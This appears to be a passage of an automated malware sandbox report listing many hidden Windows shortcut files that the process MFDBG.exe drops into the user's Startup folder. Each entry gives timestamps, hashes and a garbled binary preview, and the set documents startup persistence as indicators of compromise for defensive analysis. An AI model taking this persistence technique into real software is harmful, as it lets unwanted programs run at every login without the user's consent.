Preview:	L..................F...."...]W%.{...d<..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...^...\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_77dfed189d6a4ef893019d2a32861122.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938505375671986
Encrypted:	false
SSDEEP:	24:8e2hBfR8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8J+0R6rMhpBoUBxdRd1nYyg
MD5:	5EB19EB010A31DD1FE8096924203E7E4
SHA1:	7338086D0D305CCA870AB08D07059181DEEA9808
SHA-256:	6B5BE3BD6959BC22BD77449969FA1E239C67699EEA9115F9F3175677E3D14354
SHA-512:	00E93382A92A8D29799CFE04C8A5CF13193B55B4C2E96047378802E5A0A53A345C35A6D4CEDDE5DF1283C58C523882E909702393099D666E597C26C9CECCE5E2
Malicious:	false
Preview:	L..................F...."...]W%.{....G..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....]\.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7847c59fe1a14922baafeb0124424248.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939346733943594
Encrypted:	false
SSDEEP:	24:8DhBf98iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:83y0R6rMhpBoUBxdRd1nYyg
MD5:	1AE1EAC5324AB027CF87E873FD9EA3BB
SHA1:	82E2922CB6EB2BEDB0A7554632CE060A485D3546
SHA-256:	AAB935C047696F52E7C27BA09964463675E35381ECA6F31F54314344C0AC0F4C
SHA-512:	866C0EFBA1075ADC5F11B06E11E0038DCC5E314234AD71C9FAC81A09904E1108FDEF410DE067C90ED1D4B4E8191DD000D39E52F481A9B6578729C74CC785A227
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...\|..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7849e0c9036c4f4ca9493ea2500d5f87.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:41 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.943053171032158
Encrypted:	false
SSDEEP:	24:8+hBfev8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8UN0R6rMhpBoUBxdRd1nYyg
MD5:	4D808BE8D37FD41DAFAC74463000853E
SHA1:	74A4A8349110CF200DA1FB97916349537AC4669E
SHA-256:	87B4B9346765B79B88F98255DFE6E6A37EA4D98A62CD3FE5CF3BE6214509EB6C
SHA-512:	4907C0167F09310DFEF2D995A5886DEEC370BDA2F884DCBEE8115DFCB6D1706CE80616A8B88D148D9D2520976FFEBE459AAFBF33E48B2C613D6E8CB9F8CC68D6
Malicious:	false
Preview:	L..................F...."...]W%.{....QT.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.../y[.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_78a915a4d4294ca8b5632fde2956ee82.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9348221278556945
Encrypted:	false
SSDEEP:	24:82nhBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:827r0R6rMhpBoUBxdRd1nYyg
MD5:	B9233EA8976F2578EE45A1B220D8B61D
SHA1:	73293B74A90DDF49490261B7B8C337D3B3A9F29E
SHA-256:	5CF32B5AFE6940A5A17FAD182111A7D744AB6438BB7A567DE1A6C5F9E0B30057
SHA-512:	7A257ABC7634704BEA8A759455C28F85220BB996D097A67773062B3CC42A947F1ADC7A61178F6E1FA501DDA659CE7196189297B5EA69459529926A43B11AF587
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....X..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_78b62642bb934533ba0154f1b7ffceef.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939793836777296
Encrypted:	false
SSDEEP:	24:83hBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8rh0R6rMhpBoUBxdRd1nYyg
MD5:	0EE1FE5C90E4C55F3ACE3526349312DF
SHA1:	3C2BA42313C8EBFE75E466AF3C2A6960D5B93044
SHA-256:	8AD0196739F9FE63D0352CDFC6BDC1C66A9A4C6501BC036EBB5720A4D542E283
SHA-512:	CD043B6D9103FC95C4E85AF8955DD2CEC4A7950758C942E976FAD230092BA1FAFC443C68D1F190B8EA354328565CFAC98C03A857DC774F10CC58722717D460DF
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...O1..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7908ac5f49e54536807b20fecdf77825.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:13 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.947134170543832
Encrypted:	false
SSDEEP:	24:8whBfGK8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8iun0R6rMhpBoUBxdRd1nYyg
MD5:	290FBACDC8B26500E65A24FB3C2B63D4
SHA1:	A6E2A845C8E5642E74DBB5E315F098A85F14B270
SHA-256:	61B46201C899AAD7AF7C784F0926BC7F706886418542AB8B5482F172B6CC64F8
SHA-512:	FBD4EA2FF4A8513038C5AD83B0F84B9FF6C5304957849EC7A53FB5BEFFFA5D9894B4055812D5C8D63E5AC8DEF1FC7DF8D1DAEA6BCB5613E7423026A961A4A825
Malicious:	false
Preview:	L..................F...."...]W%.{.....J.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....E.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_795a7a32a69945bcbb15c0db69382261.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:55 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9415038978340835
Encrypted:	false
SSDEEP:	24:8thBfOe8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Nm0R6rMhpBoUBxdRd1nYyg
MD5:	EE92117D0C4C96B029363039E0FEC220
SHA1:	CDC42E24D32B82C51243EE54983B9A45002F3FC9
SHA-256:	95140CB79FABCB2EFF2055B215AAB093DB2760D172EB9A12ECF4703A0975343E
SHA-512:	D40BEFAF869CAE5F60E66FB2498E2A0BCE4E2BF0A9CA211B15F952235C2B0452BEDC602C5D9DFC46D15AAFC62BD605C50B244AA3104BC00D3BE5162F216755F7
Malicious:	false
Preview:	L..................F...."...]W%.{...g.I.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_796e3305c8ee421a99a1fbd425546f1e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:51 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936581824804892
Encrypted:	false
SSDEEP:	24:8QhBfKP8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8CC00R6rMhpBoUBxdRd1nYyg
MD5:	74EC76BB43C4898ECFCA55D196206274
SHA1:	E0CBE4B170F10CCC4CE63E24E3D5E7E4D638306F
SHA-256:	C9811F72281437B1F6EB63D9438B1BEA6EA35CB240AD5288BF2F684634EA0180
SHA-512:	9A9826887870516BDD80DCCFC976A1B873890639ADD460F0D3C727B482C0B5432883F24374AB4CB0F4B9AD7869E977526BEB9C4D11FEF5A1585B43D658A385DB
Malicious:	false
Preview:	L..................F...."...]W%.{..._...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...23..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_798460e03d46483d94b53e22adf2a27d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:16 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935938551532996
Encrypted:	false
SSDEEP:	24:8qGhBfF8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8560R6rMhpBoUBxdRd1nYyg
MD5:	335A2C35A5A6FDEFDC328AC840BC0AFC
SHA1:	1A1B4AF81C1240A5A0031FD2DB51EF6B3D71463C
SHA-256:	0D68EFE6E2942FFF5AB7E2523B2E6333A60B328E7E95C752513049415F0FE217
SHA-512:	8A4EE721E3097D1FB52BF081DEE31745E0AC6D99745D2F82A0969DCFC518CA8154E2B0BEC7DF3E72971FE0BF26F0CADC31DB7C0BE53EB26F7582160D6C813F15
Malicious:	false
Preview:	L..................F...."...]W%.{...l...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....(..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_798df4a07ff342239e14a838dda30a1e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934975343178388
Encrypted:	false
SSDEEP:	24:8wPhBfW8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8wTD0R6rMhpBoUBxdRd1nYyg
MD5:	364E3E96FBDD95EBE672B16CA9D6C626
SHA1:	EA58E327BF43660959BA31DAEF21A9C300CDD5B2
SHA-256:	720BFB796FD8C42B7B691CE57FB41FF97F79134EDB61F8029983C20648101CBE
SHA-512:	B475EB6D074BA4ADBB35226E0B7E002B1E227E2A3DC9BDC50838C2AE10BA77A3AC0CB6437B0AF207634D44874FF98C823AAFA4C86F97A88CDAB2BEB0B8C1965C
Malicious:	false
Preview:	L..................F...."...]W%.{..... .{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...C...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_79bb7bdc39d844899ea7ee8386d1b934.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:54 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935278639971747
Encrypted:	false
SSDEEP:	24:8AhBfUxp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Sl0R6rMhpBoUBxdRd1nYyg
MD5:	79EE5C6CEEE12289DE983D079C0F0F4B
SHA1:	69A8138DE1AC5A1D7D4EB8C627269555EED96BAE
SHA-256:	DA64105670FE05D8A19660FD57EE1EE70D69156D4C0154DE8ED7872EE54BAFCD
SHA-512:	4B9A5D1BEDB47C340C8E95198BE15D2B701D087F01B77795DF98EB024BEAB660497FA8C476D6328C49BBB439BB8E70781FA38446EC823CFC0CA34670ACE0D329
Malicious:	false
Preview:	L..................F...."...]W%.{....g..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...h@..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_79dc3a26853b4da49607c83dfd01db98.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934097257273961
Encrypted:	false
SSDEEP:	24:8XhBf/8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8LM0R6rMhpBoUBxdRd1nYyg
MD5:	EB9C7829D48685A046C7D04FF210F96D
SHA1:	6490FD5E3E0E6DD86DEE3C8EC9F893F695521F7E
SHA-256:	1799F9345CEE863DC38B8343BEB25D20DABA940513C274B900F9BCC41471086E
SHA-512:	27F6C8684531DC7DB7C8663FCB4FDCF3E38BBD8211C06A50B9C8023FA03CEF10DFECFFE2F6BE8A851CEED4029DD38A735D8FF167E2ED338C64C057C1E39F176D
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_79eb98f609d44807bbbd25063787a162.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:55 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936156580431966
Encrypted:	false
SSDEEP:	24:8shBfOe8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8em0R6rMhpBoUBxdRd1nYyg
MD5:	0A41B8E9D4FA2D2B336BEC1D84B6B6F1
SHA1:	8AC51BFE9A23E90073779661DD43142A919B1D8A
SHA-256:	EECC003C49C2120815386C014F9DD6C37BAA05B3173649D4D25A0145A28F2601
SHA-512:	106BE7CAB5B17106EDFAA0C0C0777259D5ED769558C02133A951C1706EAE91C917D18E0D5F7A5067B083797D336F14A2E45E21FF457C1AF16038BA24F83C9BCE
Malicious:	false
